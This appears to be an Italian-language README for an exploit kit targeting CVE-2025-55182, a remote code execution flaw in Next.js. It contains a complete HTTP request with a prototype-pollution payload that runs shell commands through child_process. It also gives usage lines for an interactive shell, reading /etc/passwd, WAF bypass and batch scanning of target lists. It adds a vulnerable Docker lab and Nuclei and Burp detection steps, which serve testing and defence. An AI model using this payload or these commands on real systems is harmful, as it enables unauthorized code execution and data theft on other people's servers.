🐺 React2Shell-Exploit-Kensei

CVE-2025-55182 - Next.js RCE Remote Code Execution

Framework di exploit + lab vulnerabile + validazione con Burp Suite e Nuclei.

Framework di sfruttamento completo e ambiente di laboratorio vulnerabile per ricerca sulla sicurezza e test di penetrazione.

╔═══════════════════════════════════════════════════════════════╗
║              🐺 React2Shell-Exploit-Kensei 🐺                 ║
║              CVE-2025-55182 Exploitation Tool                 ║
║                                                               ║
║  Author: Ruben Suxo - Ethical Hacker (kensei)    v2.5.0      ║
╚═══════════════════════════════════════════════════════════════╝

🎯 Panoramica

React2Shell-Exploit-Kensei è un kit di strumenti completo per sfruttare CVE-2025-55182, una vulnerabilità critica di esecuzione remota di codice nelle applicazioni Next.js.

Include:

• 🐍 Python exploit (modalità automatica + manuale)
• 🐳 Lab vulnerabile Docker (Next.js 16.0.6)
• 🔥 Template di sfruttamento Burp Suite
• 🚨 Template di rilevamento Nuclei
• 🧪 Casi di test validati

Versioni interessate:

• Next.js < 16.0.7
• React 19.0.0

Punteggio CVSS: 10.0 (Critico)

✨ Funzionalità

🔨 Sfruttamento

✅ Sfruttamento automatico
✅ Shell interattiva
✅ Esecuzione di comandi
✅ Lettura di file
✅ Bypass WAF
✅ Scansione batch

🧪 Ambiente di laboratorio Docker - Prerequisiti di installazione

Devi avere Docker installato per eseguire il lab vulnerabile.

Verifica dell'installazione:

docker --version

📖 Documentazione

✅ Guida a Burp Suite
✅ Template Nuclei
✅ Esempi completi

🚀 Avvio rapido

# 1. Clone
git clone react2shell-exploit
cd react2shell-exploit
chmod +x react2shell-exploit.py

# 2. Start Lab
cd docker
docker build --no-cache -t react2shell-lab .
docker run -d -p 3002:3002 --name react2shell-lab react2shell-lab

# 3. Exploit
python3 react2shell-exploit.py --url http://localhost:3002 --cmd "whoami"

💻 Esempi di utilizzo

Scansione

python3 react2shell-exploit.py --url http://target.com --scan

Esecuzione di comando

python3 react2shell-exploit.py --url http://target.com --cmd "id"

Shell interattiva

python3 react2shell-exploit.py --url http://target.com --shell

Leggi file

python3 react2shell-exploit.py --url http://target.com --read /etc/passwd

Bypass WAF

python3 react2shell-exploit.py --url http://target.com --cmd "whoami" --waf-bypass

Scansione batch

python3 react2shell-exploit.py --list targets.txt --scan --threads 20

🔍 Sfruttamento manuale

Burp Suite

Verificato funzionante - Template di richiesta:

POST / HTTP/1.1
Host: target.com:3002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
Content-Length: 734

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Risposta attesa:

"children":["__PAGE__?{\"out\":\"root\"}",{}]

Test manuale di WHOAMI:

Test manuale di IFCONFIG:

Metodi alternativi di rilevamento automatico:

• ✅ Estensione Extensibility Helper:
  1. Vai su Extensions:
  2. Installa "Extensibility Helper" e vai ad essa

3. Vai su "Bambda Store"
4. Cerca "CVE-2025-55182,CVE-2025-66478 - React2Shell"

5. fai clic su "import"

6. Esegui "Audit Selected Items"

7. Verifica nella scheda personalizzata che "CVE-2025-55182,CVE-2025-66478 - React2Shell" sia selezionato

• ✅ ActiveScan++: Rilevamento automatico

Nuclei

Verificato funzionante:

nuclei -target http://target.com:3002 -t nuclei/CVE-2025-55182.yaml

Output:

[CVE-2025-55182] [http] [critical] http://target.com:3002/

🐺 Crediti

Autore: Ruben Suxo - Ethical Hacker (kensei)
Versione: 2.5.0
Data: 2025-12-06

Ricerca e ispirazione

Questo progetto si basa su ricerca e tecniche provenienti da:

• assetnote/react2shell-scanner - Implementazione dello scanner
• freeqaz/react2shell - Tecniche di sfruttamento
• whiteov3rflow/CVE-2025-55182-poc - Prova di concetto

Scoperta della vulnerabilità

• Lachlan Davidson (@lachlan2k) - Scoperta originale di CVE-2025-55182

⚠️ Disclaimer legale

Solo per test di sicurezza autorizzati.

L'accesso non autorizzato è illegale. Utilizza solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.

📄 Licenza

MIT License

🐺 Hack The Planet - Responsabilmente

Solo a scopo educativo. Usa in modo etico.